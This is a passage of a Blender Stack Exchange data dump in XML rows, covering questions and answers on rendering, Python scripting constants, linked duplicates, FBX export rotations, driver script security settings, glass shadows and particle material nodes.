  <row Id="1892" PostTypeId="2" ParentId="1888" CreationDate="2013-07-18T16:40:00.407" Score="14" Body="&lt;h1&gt;Demonstrating in 2D what is going on:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tBcPS.png&quot; alt=&quot;Demonstration&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mathematically it should be correct to render with a orthographic camera&#xA;and later transform the image. I think this is the easiest method when&#xA;you have multiple objects (so you do not have to &lt;a href=&quot;https://blender.stackexchange.com/questions/319/&quot;&gt;add modifiers to each&lt;/a&gt;).&#xA;First you should shear in 2D (skewing) the rendered image then (if needed)&#xA;stretch to get the correct aspect.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Original:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZXtYX.png&quot; alt=&quot;Original&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Sheared:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VIpAn.png&quot; alt=&quot;Sheared&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Streched:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/D9wpY.png&quot; alt=&quot;Streched&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most &lt;a href=&quot;https://en.wikipedia.org/wiki/Raster_graphics_editor&quot; rel=&quot;nofollow noreferrer&quot;&gt;raster graphics editors&lt;/a&gt; have the tools to preform the above&#xA;transformations. This can also be done in the compositor using a&#xA;Blend texture and the Displace node.&lt;/p&gt;&#xA;" OwnerUserId="649" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2014-03-04T22:21:08.213" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1893" PostTypeId="5" CreationDate="2013-07-18T22:30:24.160" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-07-18T22:30:24.160" LastActivityDate="2013-07-18T22:30:24.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1894" PostTypeId="4" CreationDate="2013-07-18T22:30:24.160" Score="0" Body="Questions about the Dopesheet editor in Blender. The Dopesheet is used for managing animations and keyframes for the entire scene." OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-07-18T23:05:48.887" LastActivityDate="2013-07-18T23:05:48.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1896" PostTypeId="1" CreationDate="2013-07-19T06:42:00.253" Score="9" ViewCount="1063" Body="&lt;p&gt;Using 2.67b for python scripting I get this:&#xA;while importing &lt;code&gt;math&lt;/code&gt;, &lt;code&gt;numpy&lt;/code&gt; on the scripting console, internal variables seem to be fine&#xA;but when running scripts need to manually define numbers likely to be enabled when importing &lt;code&gt;math&lt;/code&gt;, &lt;code&gt;numpy&lt;/code&gt; like &lt;code&gt;PI&lt;/code&gt;, &lt;code&gt;E&lt;/code&gt;, &lt;code&gt;C&lt;/code&gt; and several others I think.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could that be a version problem or do you have to manually define each variables and constants over the scripting editor?&lt;/p&gt;&#xA;" OwnerUserId="453" LastEditorUserId="12" LastEditDate="2013-07-19T15:53:31.800" LastActivityDate="2013-07-20T20:57:08.837" Title="Console vs scripting python constants" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1897" PostTypeId="2" ParentId="1896" CreationDate="2013-07-19T07:05:06.490" Score="9" Body="&lt;p&gt;The python console has various convenience imports, &lt;code&gt;from math import *&lt;/code&gt;  being one of them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Text from the console:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PYTHON INTERACTIVE CONSOLE 3.3.2 (default, May 21 2013, 15:40:45)  [GCC 4.8.0 20130502 (prerelease)]&#xA;&#xA;Command History:     Up/Down Arrow&#xA;Cursor:              Left/Right Home/End&#xA;Remove:              Backspace/Delete&#xA;Execute:             Enter&#xA;Autocomplete:        Ctrl-Space&#xA;Zoom:                Ctrl +/-, Ctrl-Wheel&#xA;Builtin Modules:     bpy, bpy.data, bpy.ops, bpy.props, bpy.types, bpy.context, bpy.utils, bgl, blf, mathutils&#xA;Convenience Imports: from mathutils import *; from math import *&#xA;Convenience Variables: C = bpy.context, D = bpy.data&#xA;&#xA;&amp;gt;&amp;gt;&amp;gt; pi&#xA;3.141592653589793&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Importing the entirety of a module using &lt;code&gt;*&lt;/code&gt; when not experimenting in the console is generally seen as bad practice / not pythonic, &lt;a href=&quot;http://docs.python.org/release/2.6.6/howto/doanddont.html&quot; rel=&quot;nofollow&quot;&gt;and explained in part here&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Remember, you can never know for sure what names a module exports, so&#xA;  either take what you need — &lt;code&gt;from module import name1, name2&lt;/code&gt;, or keep&#xA;  them in the module and access on a per-need basis&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;For scripting outside of the console use explicit imports. Create a template with all your frequently used imports, similar to this, and place it in the &lt;code&gt;../scripts/templates_py/&lt;/code&gt; folder:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import mathutils&#xA;from mathutils import Vector, Matrix&#xA;from math import pi, sin, cos, tan&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.python-guide.org/en/latest/writing/structure/&quot; rel=&quot;nofollow&quot;&gt;this article goes into great detail&lt;/a&gt; about code structure and includes a short section on imports, definitely food for thought if the topic isn't well understood.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2013-07-20T20:57:08.837" LastActivityDate="2013-07-20T20:57:08.837" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1898" PostTypeId="1" AcceptedAnswerId="1900" CreationDate="2013-07-19T09:38:25.927" Score="41" ViewCount="114193" Body="&lt;p&gt;All is in the question, we can duplicate object with &lt;kbd&gt;SHIFT&lt;/kbd&gt;+&lt;kbd&gt;D&lt;/kbd&gt; but also with &lt;kbd&gt;ALT&lt;/kbd&gt;+&lt;kbd&gt;D&lt;/kbd&gt;, which is quite handy, because as you know every changes done on a linked duplicate object will be repeated on others linked objects (&quot;same objects&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've used it as example to create all the UVs of a box, all at once.. But now I would like to break it, to stop it... And I don't know how to do that...&lt;/p&gt;&#xA;" OwnerUserId="892" LastEditorUserId="12" LastEditDate="2013-07-19T12:11:52.077" LastActivityDate="2013-07-19T12:14:27.563" Title="How to unlink a linked-duplicate?" Tags="&lt;mesh&gt;&lt;linked-data&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="13" ClosedDate="2013-07-19T15:49:30.297" ContentLicense="CC BY-SA 3.0" />
  <row Id="1900" PostTypeId="2" ParentId="1898" CreationDate="2013-07-19T12:14:27.563" Score="59" Body="&lt;p&gt;You can press &lt;kbd&gt;U&lt;/kbd&gt; &amp;gt; &lt;code&gt;Unlink Object+Data&lt;/code&gt;. The object's &amp;quot;data&amp;quot; is the mesh itself. Multiple objects can use a single mesh, so that editing one will update the others (they're &amp;quot;Linked&amp;quot;)&#xA;You could also go into the Object Data tab and manually select different mesh data for the object to use:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4wr3z.png&quot; alt=&quot;Object Data chooser&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;The &lt;code&gt;2&lt;/code&gt; on the right indicates that that mesh is being used by two objects. Clicking on the &lt;code&gt;2&lt;/code&gt;will copy that mesh and unlink that object from the old mesh, linking it to the new one (using an incremented name like &lt;code&gt;Cube.001&lt;/code&gt;), the same result as if you'd done &lt;kbd&gt;U&lt;/kbd&gt; &amp;gt; &lt;code&gt;Unlink Object+Data&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;I know you already know the answer, but this is a place for the future too :)&lt;/p&gt;&#xA;" OwnerUserId="9" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-07-19T12:14:27.563" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1902" PostTypeId="1" CreationDate="2013-07-19T15:49:53.757" Score="9" ViewCount="5925" Body="&lt;p&gt;I have a simple, extruded cube model with two bones assigned to it. Now, when I export the model to FBX, the bones get weird rotations. I've checked that the bones have XYZ rotation of (0, 0, 0) in Blender, but for example the root bone has a rotation of (90, -90, 0) and the child bone has a rotation of (-180, 0, 0). The armature has a rotation of (-90, 0, 0) which I kind of expect to be there &lt;em&gt;(as far as I know it's because of the axis conversion)&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, where are these rotations coming from?&lt;/p&gt;&#xA;" OwnerUserId="908" LastEditorUserId="12" LastEditDate="2013-07-19T15:55:43.810" LastActivityDate="2013-08-27T08:23:55.353" Title="Why do I get weird rotations in exported FBX?" Tags="&lt;export&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1903" PostTypeId="1" AcceptedAnswerId="1904" CreationDate="2013-07-19T15:58:27.550" Score="7" ViewCount="2049" Body="&lt;p&gt;When loading a .blend file the console window shows error messages like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;skipping driver 'x1*(1-x2)', automatic scripts are disabled&#xA;skipping driver 'x1*(1-x2*x3)', automatic scripts are disabled&#xA;skipping driver 'x1*(1-x2)', automatic scripts are disabled&#xA;skipping driver 'x1*(1-x2*x3)', automatic scripts are disabled&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the file browser the option Trusted Source can be set but isn't remembered when using &lt;em&gt;File: Open Recent&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ODVr9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can the new security features switched off?&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="599" LastEditDate="2013-07-19T21:34:33.513" LastActivityDate="2013-07-19T21:36:05.317" Title="After updating to Blender 2.68 Driver Scripts are no longer automatically excecuted" Tags="&lt;customization&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1904" PostTypeId="2" ParentId="1903" CreationDate="2013-07-19T16:01:56.097" Score="7" Body="&lt;p&gt;You can turn this setting off in the user preferences by unchecking &lt;em&gt;Auto Run Python Scripts&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/msaxz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Extensions/Python/Security&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki&lt;/a&gt; for more information.&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="599" LastEditDate="2013-07-19T21:36:05.317" LastActivityDate="2013-07-19T21:36:05.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1905" PostTypeId="2" ParentId="1888" CreationDate="2013-07-19T19:31:06.403" Score="7" Body="&lt;h1&gt;Could just deform the model&lt;/h1&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Point your orthographic camera down the Y-axis.&lt;/li&gt;&#xA;&lt;li&gt;Create a lattice &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt;&lt;kbd&gt;L&lt;/kbd&gt; with the following number of points:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/8IQ3b.png&quot; alt=&quot;U: 1, V: 2 W: 1&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;Enter Edit Mode &lt;kbd&gt;Tab&lt;/kbd&gt;, select all points &lt;kbd&gt;A&lt;/kbd&gt; and perform the following rotations:&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;kbd&gt;R&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt;&lt;kbd&gt;-45&lt;/kbd&gt;&lt;kbd&gt;Enter&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;R&lt;/kbd&gt;&lt;kbd&gt;X&lt;/kbd&gt;&lt;kbd&gt;45&lt;/kbd&gt;&lt;kbd&gt;Enter&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Finally add a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Deform/Lattice&quot; rel=&quot;nofollow noreferrer&quot;&gt;Lattice modifier&lt;/a&gt; to you model(s) with the Object set to our previously created lattice.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/5VN49.png&quot; alt=&quot;&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/eR7RJ.png&quot; alt=&quot;3D View with a cube with cabinet projection deformation.&quot;&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="290" LastEditorUserId="290" LastEditDate="2013-07-19T23:12:36.127" LastActivityDate="2013-07-19T23:12:36.127" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1906" PostTypeId="1" AcceptedAnswerId="1914" CreationDate="2013-07-19T22:39:29.217" Score="5" ViewCount="4374" Body="&lt;p&gt;When rendering this scene in Blender Internal, the wine glass in the scene has a dark shadow collect at the very bottom. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have shadow transparency on, the shadow from the light turned off with environment lighting on and ambient occlusion on.&lt;br&gt;&#xA;The shadow is only there when ambient occlusion is on and it is against the table. Is there a way to make this go away while keeping ambient occlusion on? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UzoJk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is an image that has all of the details for the environment and for the glass material&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FQ4wZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="982" LastEditorUserId="470" LastEditDate="2013-07-20T07:10:26.043" LastActivityDate="2013-07-20T22:34:38.327" Title="Dark Shadows when using AO with Transparent Materials?" Tags="&lt;rendering&gt;&lt;materials&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1907" PostTypeId="2" ParentId="1775" CreationDate="2013-07-20T00:49:06.880" Score="4" Body="&lt;h1&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Composite_Nodes/Types/Color#Z-Combine_Node&quot; rel=&quot;nofollow noreferrer&quot;&gt;Z-Combine node&lt;/a&gt;&lt;/h1&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The Z-Combine node takes two images and two Z-value sets as input. It overlays the images using the provided Z values to detect which parts of one image are in front of the other. If both Z values are equal, it uses the top image. It puts out the combined image, with the combined Z-depth map, allowing you to thread multiple Z-combines together.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;To use &lt;kbd&gt;Add | Color | Z Combine&lt;/kbd&gt; or &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt;,&lt;kbd&gt;C&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt; and then connect up your render layers.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7jG0y.png&quot; alt=&quot;Minimal basic node setup using z-combine node.&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;For best results then using BI scenes you'll also want to enable &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Options/Antialiasing&quot; rel=&quot;nofollow noreferrer&quot;&gt;Full Sample&lt;/a&gt; (found under Properties window &amp;gt; Render tab &amp;gt; Anti-Aliasing panel).&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;h3&gt;Full Sample&lt;/h3&gt;&#xA;&lt;p&gt;For every anti-aliasing sample, save the entire Render Layer results. This solves anti-aliasing issues with compositing.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="290" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-07-20T00:49:06.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1908" PostTypeId="1" AcceptedAnswerId="1910" CreationDate="2013-07-20T02:21:15.903" Score="7" ViewCount="2322" Body="&lt;p&gt;I would like to use the age of particles to effect the color of a material, however the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Nodes/More#Particle_Info&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Particle Info&lt;/em&gt; node returns the age of the particles in frames&lt;/a&gt; so the values are greater than one. (which makes the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Materials/Nodes/Types/Convertor#ColorRamp_Node&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;ColorRamp&lt;/em&gt;&lt;/a&gt; node ineffective as it works in the 0-1 range.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zlhSu.png&quot; alt=&quot;Image of my node setup&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I need to convert the &lt;em&gt;Age&lt;/em&gt; value to the 0-1 range (As you would with the &lt;em&gt;Map Range&lt;/em&gt;/&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Reference/Windows/Nodes/Composite#Map_Value&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Map Value node&lt;/em&gt;&lt;/a&gt;) but with &lt;em&gt;Material nodes&lt;/em&gt; instead of &lt;em&gt;Composite nodes&lt;/em&gt;.&lt;br&gt;&#xA;Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-07-20T03:12:13.360" LastActivityDate="2013-07-20T12:49:31.247" Title="&quot;Map Range&quot; node equivalent for Material nodes?" Tags="&lt;materials&gt;&lt;nodes&gt;&lt;particles&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1909" PostTypeId="2" ParentId="1906" CreationDate="2013-07-20T03:56:52.847" Score="2" Body="&lt;p&gt;If you are using Raytrace Transparency then this problem could be due to the Depth setting:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OfyBj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The default Depth of 2 is often not enough to give you all of the possible light inter-refractions, resulting in empty 'holes'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Failing that, try this: In the Transparency panel set 'Alpha' to 0.1, 'Fresnel' to 2.0 and 'Blend' to 1.5 (You might need to juggle with these a bit).&#xA;With Alpha set to 0.0 (as in your settings) the shadow areas are very dark and dense, and Fresnel has no value to work on.&#xA;Also, for this 'glass' material I don't think you need Mirror, Subsurface Scattering or Receive Transparent to be on.&lt;/p&gt;&#xA;" OwnerUserId="470" LastEditorUserId="470" LastEditDate="2013-07-20T11:21:31.393" LastActivityDate="2013-07-20T11:21:31.393" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="1910" PostTypeId="2" ParentId="1908" CreationDate="2013-07-20T07:57:28.243" Score="6" Body="&lt;p&gt;Use a Math node set to multiply: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;on top put &lt;code&gt;1.0 / max age&lt;/code&gt;  &amp;lt;-- this you can precalculate&lt;/li&gt;&#xA;&lt;li&gt;in the second socket connect &lt;code&gt;age&lt;/code&gt; &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;=  &lt;code&gt;0....1&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;or&lt;/strong&gt;, Use two Math nodes. Useful for if your &lt;code&gt;max age&lt;/code&gt; is the same as &lt;code&gt;lifetime&lt;/code&gt; of the particle. This way you can also deal with a dynamically changing particle lifetime.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/t1gLj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/X4nnj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2013-07-20T12:49:31.247" LastActivityDate="2013-07-20T12:49:31.247" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1911" PostTypeId="1" CreationDate="2013-07-20T09:49:23.710" Score="6" ViewCount="1281" Body="&lt;p&gt;I'm creating an animation of a film bed with a film strip running through it. The film strip is basically just an array object with a curve modifier. What I want to do is use an image sequence for the material that is being tiled along the array object, and offset 1 frame for each duplicated array object. Thus giving the effect of moving images on the actual film strip.&#xA;I hope this makes sense, and I'm just assuming that this is a python requirement, as I can't think of anything to do it with in the Blender toolkit.&lt;/p&gt;&#xA;" OwnerUserId="121" LastActivityDate="2020-12-27T19:09:38.653" Title="Can I use an image sequence with offset frames as a texture on array items" Tags="&lt;materials&gt;&lt;texturing&gt;&lt;image&gt;&lt;modifiers&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1912" PostTypeId="2" ParentId="1911" CreationDate="2013-07-20T15:29:47.120" Score="2" Body="&lt;h1&gt;Instead of using the the Array modifier&lt;/h1&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Materials/Options#Material_naming_and_linking&quot; rel=&quot;nofollow noreferrer&quot;&gt;Link the material to object&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/q/109/290&quot;&gt;Create a individual linked duplicates&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Select the duplicates, &lt;kbd&gt;Object | Make Single User | Materials+Tex&lt;/kbd&gt; (or &lt;kbd&gt;U&lt;/kbd&gt;&lt;kbd&gt;T&lt;/kbd&gt;)&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You might want to setup a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Reference/Nodes/Node_Groups&quot; rel=&quot;nofollow noreferrer&quot;&gt;nodegroup&lt;/a&gt; first to make future changes to the material easier.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Now increment the texture offset for each material.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="290" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2013-07-20T15:29:47.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1913" PostTypeId="1" CreationDate="2013-07-20T15:42:34.997" Score="5" ViewCount="987" Body="&lt;p&gt;I'd like to write a script to automate viewport draw mode switching when navigating the viewport.  Could this be done with, say, a modal operator? I haven't written any modal operators before, so before I go all Don Quixote on this thing, I'd like to know if this is even possible. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, can &lt;code&gt;view3d.rotate(&lt;/code&gt;), &lt;code&gt;view3d.move()&lt;/code&gt;, etc., be intercepted in such a way as to change the viewport to bounding box draw mode automatically whenever the viewport is being navigated?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I've looked at the documentation on modal operators and I couldn't really understand it.  Maybe someone could help me understand the functions and how they work together? &lt;/p&gt;&#xA;" OwnerUserId="981" LastEditorUserId="12" LastEditDate="2013-07-20T23:54:53.307" LastActivityDate="2013-09-19T13:46:42.797" Title="Is it possible to change viewport draw mode when navigating?" Tags="&lt;scripting&gt;&lt;3d-view&gt;&lt;drawmodes&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1914" PostTypeId="2" ParentId="1906" CreationDate="2013-07-20T20:21:13.990" Score="3" Body="&lt;p&gt;There are several thing that could cause this, including&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Shadows&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure that the &lt;strong&gt;table&lt;/strong&gt; material has &lt;em&gt;Receive Transparent&lt;/em&gt; enabled:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4v6db.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With &lt;em&gt;Receive Transparent&lt;/em&gt; and Without &lt;em&gt;Receive Transparent&lt;/em&gt;: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fUfw8.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/0ouft.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see form this render with the glass raised, the reason for this is that even if the glass casts a transparent shadow, unless &lt;em&gt;Receive Transparent&lt;/em&gt; is enabled for the table, solid black shadow is rendered which the glass then refracts:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/2csDu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Ambient Occlusion&lt;/em&gt;:&lt;/strong&gt;&lt;br&gt;&#xA;Ambient Occlusion would cause this too, as it works by darkening surfaces that are close to other objects. (The closer the darker)&lt;br&gt;&#xA;Then you have the same problem as &lt;em&gt;Receive Transparent&lt;/em&gt;, with the glass refracting the dark areas.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Add&lt;/em&gt; blend mode:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EICmx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Multiply&lt;/em&gt; blend mode, with the glass on the table and with it in the air:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9jbPU.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/WIUI1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make this disappear, you can enable &lt;em&gt;Indirect Lighting&lt;/em&gt; in &lt;em&gt;Properties &gt; World&lt;/em&gt;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/wpNan.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/l6Jvp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;However, this can get your rendertimes rather insane, (Just for this low resolution render it took 2:27.26)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And as already mentioned by SteveW:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;em&gt;Depth&lt;/em&gt;&lt;/strong&gt;&lt;br&gt;&#xA;The Depth setting from one to four:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/aQQZN.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/BZe8f.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/tmc4Z.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/yWn6b.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;And at a value of 20 :&#xA;&lt;img src=&quot;https://i.stack.imgur.com/F7I3x.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;Cycles&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Probably the best way to do this is use Cycles, as you need &lt;a href=&quot;http://en.wikipedia.org/wiki/Caustic_%28optics%29&quot; rel=&quot;nofollow noreferrer&quot;&gt;caustics&lt;/a&gt; to get light to properly illuminate after being refracted through the glass.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(quick example:)&#xA;&lt;img src=&quot;https://i.stack.imgur.com/NBMki.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-07-20T22:34:38.327" 